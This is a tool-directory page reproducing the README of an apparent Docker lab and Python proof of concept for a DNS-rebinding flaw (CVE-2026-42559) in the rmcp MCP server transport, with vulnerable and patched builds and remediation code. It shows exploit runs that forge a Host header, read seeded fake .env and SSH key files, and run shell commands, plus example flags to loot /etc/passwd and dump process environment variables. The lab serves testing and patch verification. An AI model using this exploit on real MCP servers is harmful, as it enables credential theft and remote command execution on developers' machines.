Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42559 — Docker lab and Python proof-of-concept demonstrating DNS rebinding via unvalidated Host header in rmcp Streamable HTTP server transport (CVE-2026-42559). Includes vulnerable and patched builds for testing. | Kitploit
Tools/GitHubGitHub/joaovicdev/cve-2026-42559
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubjoaovicdev/cve-2026-42559

CVE-2026-42559

Docker lab and Python proof-of-concept demonstrating DNS rebinding via unvalidated Host header in rmcp Streamable HTTP server transport (CVE-2026-42559). Includes vulnerable and patched builds for testing.

View Repository
6h 26m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42559 — DNS rebinding in the rmcp Streamable HTTP server transport

A self-contained Docker lab and Python proof of concept for CVE-2026-42559 (GHSA-89vp-x53w-74fx / RUSTSEC-2026-0189).

Affectedrmcp — the official Rust SDK for the Model Context Protocol — < 1.4.0
Fixed in1.4.0 (2026-04-10)
CWECWE-346 (Origin Validation Error), CWE-350
CVSS 3.18.8 High — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

The bug

The Streamable HTTP server transport in rmcp < 1.4.0 never inspected the inbound Host header. MCP servers are typically bound to loopback and are protected only by the browser's same-origin policy — which DNS rebinding defeats:

  1. The victim visits http://evil.example, served with a 1-second DNS TTL.
  2. The page waits for the record to be re-resolved. The attacker's DNS now answers evil.example → 127.0.0.1.
  3. The page calls fetch("http://evil.example:8000/mcp", …). The request lands on the victim's local MCP server, but the browser still treats it as same-origin — no CORS preflight, and the JavaScript can read every response.

The only thing separating that request from a legitimate one is the Host header: evil.example:8000 instead of 127.0.0.1:8000. With no validation, the attacker's page gets a full MCP session and can enumerate and call every tool the server exposes — file reads, writes, shell execution, whatever the assistant was wired up to do.

1.4.0 added StreamableHttpServerConfig::allowed_hosts, defaulting to ["localhost", "127.0.0.1", "::1"], and a validate_dns_rebinding_headers() gate at the top of the request handler that answers 403 Forbidden otherwise.

Layout

root@kitploit:~
.
├── docker-compose.yml       # two services, same source, different rmcp version
├── mcp-server/              # a realistic "developer assistant" MCP server
│   ├── Cargo.toml
│   ├── Dockerfile           # RMCP_VERSION build arg pins the crate
│   └── src/main.rs
└── exploit/
    └── exploit.py           # PoC, Python 3.9+, no dependencies

Both containers build the same src/main.rs with the same server config. The only difference is the pinned crate version, so the behaviour change comes entirely from the library:

ServicePortrmcpExpected
vulnerable127.0.0.1:80001.3.0forged Host accepted → full compromise
patched127.0.0.1:80011.4.0forged Host → 403 Forbidden

The server exposes whoami, read_file and run_command, and the image is seeded with fake credentials at /home/dev/project/.env and /home/dev/.ssh/id_ed25519 so the exploit has something to steal.

Running it

root@kitploit:~
docker compose up -d --build

Exploit the vulnerable build:

root@kitploit:~
python3 exploit/exploit.py --target 127.0.0.1:8000
root@kitploit:~
CVE-2026-42559 :: rmcp Streamable HTTP -- Host header is not validated
    target       http://127.0.0.1:8000/mcp
    legit Host   127.0.0.1:8000
    rebind Host  mcp-rebind.attacker.example:8000

[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.3.0

[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57

[*] step 2: enumerating the tools now exposed to the attacker's page
        - read_file    Read a file from the workstation
        - run_command  Run a shell command on the workstation
        - whoami       Describe the workstation this assistant runs on

[*] step 3: invoking tools as if the attacker page were a local MCP client
    tools/call whoami
        | user=unknown host=35b31d892a7a pid=1
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:[email protected]:5432/app
    tools/call read_file path=/home/dev/.ssh/id_ed25519
        | -----BEGIN OPENSSH PRIVATE KEY-----
        | FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
        | -----END OPENSSH PRIVATE KEY-----
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
        | Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux

[!] arbitrary read and command execution on the victim host, from a web page

Then the patched build, to confirm the fix:

root@kitploit:~
python3 exploit/exploit.py --target 127.0.0.1:8001
root@kitploit:~
[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.4.0

[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)

Exit code is 1 when the target is vulnerable and 0 when it is not, so the script drops straight into CI.

Useful flags:

root@kitploit:~
python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

Tear down with docker compose down.

Why the PoC forges the header instead of running a DNS server

The exploit opens a TCP connection to the target and writes an attacker-controlled Host header (http.client.putrequest(..., skip_host=True)). That is byte-for-byte the request a rebound browser emits — DNS rebinding is just the mechanism that makes a browser send a foreign Host to a loopback socket. Reproducing it this way keeps the lab to two containers and no DNS infrastructure, while testing exactly the code path the CVE is about.

Fixing it in your own server

root@kitploit:~
// 1. Upgrade.
//    rmcp = "1.4"   (or later)

// 2. Loopback-only is the default from 1.4.0 onward — nothing to do
//    for a locally bound server.
let config = StreamableHttpServerConfig::default();

// 3. For a genuine public deployment, allowlist your own names.
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);

If you cannot upgrade, terminate the MCP endpoint behind a reverse proxy that rejects unknown Host values, and do not bind the server to 0.0.0.0 without one. disable_allowed_hosts() exists but reintroduces this exact bug.

References

  • GHSA-89vp-x53w-74fx
  • NVD — CVE-2026-42559
  • Red Hat — CVE-2026-42559
  • Kodem Security — CVE-2026-42559
  • MCP specification — Transport security

Disclaimer

Everything here is intentionally vulnerable and exists for research and education. The containers expose a shell-execution tool by design — run the lab only on a machine you own, and never point the exploit at a host you are not authorised to test.

Download Tool